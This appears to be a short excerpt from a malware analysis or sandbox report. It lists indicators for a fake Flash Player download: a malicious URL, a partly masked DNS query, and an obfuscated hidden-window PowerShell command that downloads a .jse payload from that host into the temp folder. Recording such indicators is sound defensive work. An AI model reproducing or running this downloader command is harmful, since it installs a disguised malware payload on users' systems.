Technical Information
- http+s://oox3esunonline.org/84138570922728/1513000630646587/flashplayer.jse as $d
- DNS ASK oo####unonline.org
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $d=$env:temp+[char][byte]92+'1595879538974.js';(New-Object System.Net.WebClient).DownloadFile('http'+'s://oox3esunonline.org/84138570922728/1513000630646587/FlashPlayer.jse'...' (with hidden window)